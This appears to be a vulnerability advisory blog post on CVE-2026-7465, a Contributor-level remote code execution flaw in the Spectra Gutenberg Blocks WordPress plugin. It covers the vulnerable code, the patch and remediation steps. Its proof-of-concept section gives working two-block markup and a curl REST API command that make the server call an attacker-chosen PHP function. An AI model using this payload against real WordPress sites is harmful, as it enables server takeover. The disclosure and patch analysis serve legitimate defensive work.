Spectra Gutenberg Blocks WordPress plugin banner

CVE-2026-7465: Spectra Gutenberg Blocks Contributor+ RCE (CVSS 8.8)

Updated 7 min read

CVE-2026-7465 is a CVSS 8.8 High severity Authenticated Remote Code Execution vulnerability in the Spectra Gutenberg Blocks – Website Builder for the Block Editor WordPress plugin. An attacker with Contributor-level access can call any PHP function on the server by embedding a two-block payload in post content. This can lead to full server compromise.

Vulnerability Summary

FieldValue
Plugin NameSpectra Gutenberg Blocks – Website Builder for the Block Editor
Plugin Slugultimate-addons-for-gutenberg
CVE IDCVE-2026-7465
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeAuthenticated (Contributor+) Remote Code Execution via Arbitrary PHP Function Call
Affected Versions<= 2.19.25
Patched Version2.19.26
PublishedMay 29, 2026
Researcherkai63001
Wordfence AdvisoryLink

Description

The Spectra Gutenberg Blocks plugin for WordPress is vulnerable to Remote Code Execution in all versions up to and including 2.19.25. Authenticated attackers with Contributor-level access and above can execute code on the server. Exploitation requires a two-block payload embedded in post content. The first block registers a fake uagb/-prefixed block type with an attacker-specified render_callback. The second block of the same fake type triggers invocation of that callback via call_user_func() during sequential block rendering in the same page request.

Technical Analysis

Vulnerable Hook Registration

The UAGB_Init_Blocks class registers a filter on the render_block WordPress hook inside its constructor:

// classes/class-uagb-init-blocks.php — line 77-82
if ( ! is_admin() ) {
    add_action( 'render_block', array( $this, 'render_block' ), 5, 2 );
    add_filter( 'render_block', array( $this, 'add_gbs_class' ), 10, 2 );
}

The hook fires on the front-end only (!is_admin()). It uses priority 5, which means the plugin’s callback runs before WordPress core’s default priority 10.

The Vulnerable Function

// classes/class-uagb-init-blocks.php — lines 328–337
public function render_block( $block_content, $block ) {
    // Register only UAG blocks.
    if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
        // Register block on server-side to support WP Hide blocks feature in WP 6.9.
        $registry = WP_Block_Type_Registry::get_instance();
        // Only register if the block is NOT already registered.
        if ( ! $registry->is_registered( $block['blockName'] ) ) {
            $registry->register( $block['blockName'], $block['attrs'] ); // ← VULNERABLE
        }
    }
    // ...
}

There are two problems here.

Problem 1 — No block name validation. The check strpos($block['blockName'], 'uagb/') !== false accepts any block name that contains the string uagb/. This means an attacker can register a fake block type like uagb/evil-block that has never been defined by the plugin.

Problem 2 — User-controlled attributes passed to block registry. The call $registry->register($block['blockName'], $block['attrs']) passes the raw block attributes array from the post content directly to WP_Block_Type_Registry::register(). This function accepts render_callback as a recognized argument. An attacker can set render_callback to any callable PHP function name in the attributes of their crafted block.

How the Two-Block Payload Works

WordPress renders blocks sequentially. For each block, it calls apply_filters('render_block', ...) after rendering. The plugin’s hook fires at priority 5 during this filter.

Block 1 rendering — The fake uagb/evil-block is not yet in the registry. The plugin’s render_block() fires, finds the block name starts with uagb/, checks the registry, and registers the fake block type with the attacker-controlled attributes (including render_callback). The block renders without executing any callback (it wasn’t registered before this point).

Block 2 rendering — WordPress constructs a WP_Block instance for the second uagb/evil-block occurrence. This time, WP_Block_Type_Registry::get_instance()->get_registered('uagb/evil-block') returns the type registered in Block 1 — complete with the malicious render_callback. WordPress’s WP_Block::render() then executes:

$block_content = (string) call_user_func(
    $this->block_type->render_callback, // ← attacker-controlled PHP callable
    $this->attributes,                   // ← block attributes as first argument
    $block_content,
    $this
);

Any PHP callable accessible in the WordPress runtime can be invoked. The impact ranges from information disclosure (phpinfo, var_dump) to full server compromise (exec, system, passthru).

Execution Trigger

The hook only fires on non-admin pages (!is_admin()). This means the attack triggers when a post is:

  • Viewed on the front-end by any visitor
  • Previewed in the WordPress editor (preview URLs are front-end requests)

A Contributor can create a draft post and preview it directly. If a Contributor submits the post for review and an admin opens the preview, the callback executes in the context of the current request.

Proof of Concept

Disclaimer: This proof of concept is provided for educational and defensive purposes only. Test only on systems you own or have explicit written permission to test.

Prerequisites:

  • WordPress site with Spectra Gutenberg Blocks <= 2.19.25 installed and active
  • Attacker account with at least Contributor-level access

Step 1 — Create a post with the two-block payload

Log in as a Contributor and create a new post. Switch to the Code Editor view in the WordPress block editor and paste the following block markup:

<!-- wp:uagb/spectra-rce {"render_callback":"phpinfo"} -->
<!-- /wp:uagb/spectra-rce -->

<!-- wp:uagb/spectra-rce /-->

Or use the REST API to create a draft post programmatically:

# Replace TARGET, contributor, and password with your values
curl -s -X POST https://TARGET/wp-json/wp/v2/posts \
  -u 'contributor:password' \
  -H 'Content-Type: application/json' \
  -d '{
    "title": "RCE Test",
    "content": "<!-- wp:uagb/spectra-rce {\"render_callback\":\"phpinfo\"} -->\n<!-- /wp:uagb/spectra-rce -->\n\n<!-- wp:uagb/spectra-rce /-->",
    "status": "draft"
  }'

Step 2 — Trigger the RCE

Preview the draft post. The block rendering sequence executes as follows:

  1. Block 1 (uagb/spectra-rce) hits the plugin’s render_block filter. The block name is not in the registry, so the plugin registers it with render_callback: "phpinfo".
  2. Block 2 (uagb/spectra-rce) is now a registered dynamic block. WordPress calls call_user_func('phpinfo', $attrs, '', $block).
  3. phpinfo() executes on the server and outputs the PHP configuration to the response.

Step 3 — Verify

The preview page returns the full phpinfo() output instead of the post content. This confirms arbitrary PHP function invocation on the server.

For a more impactful attack vector, replace phpinfo with any other callable available in the WordPress environment, such as functions from other loaded plugins or PHP built-ins that operate on the provided arguments.

Patch Analysis

The fix is a one-line change in classes/class-uagb-init-blocks.php:

- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

The patched version registers the block type with an empty array instead of the user-controlled $block['attrs']. This means no attacker-supplied data — including render_callback — reaches the block type registry. The block is still registered (to support the WP 6.9 “Hide blocks” feature), but without any properties.

The fix addresses the root cause directly and does not require the plugin to sanitize or allowlist block attributes. Passing an empty array is sufficient because the plugin only needs the block name in the registry, not its configuration.

Timeline

DateEvent
May 29, 2026Wordfence publicly published the advisory
May 30, 2026Advisory last updated
June 7, 2026Blog post published

Remediation

Update Spectra Gutenberg Blocks to version 2.19.26 or later immediately. You can update from the WordPress Admin → Plugins → Updates screen, or download the patched version directly from wordpress.org.

If you cannot update immediately, restrict Contributor-level access on your site to trusted users only, as any Contributor can exploit this vulnerability on unpatched versions.

References

  1. CVE-2026-7465 — NVD/CVE Record
  2. Wordfence Advisory
  3. Vulnerable code — plugins.trac (2.19.25, L335)
  4. Vulnerable code — plugins.trac (2.19.25, L330)
  5. Plugin page — wordpress.org
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee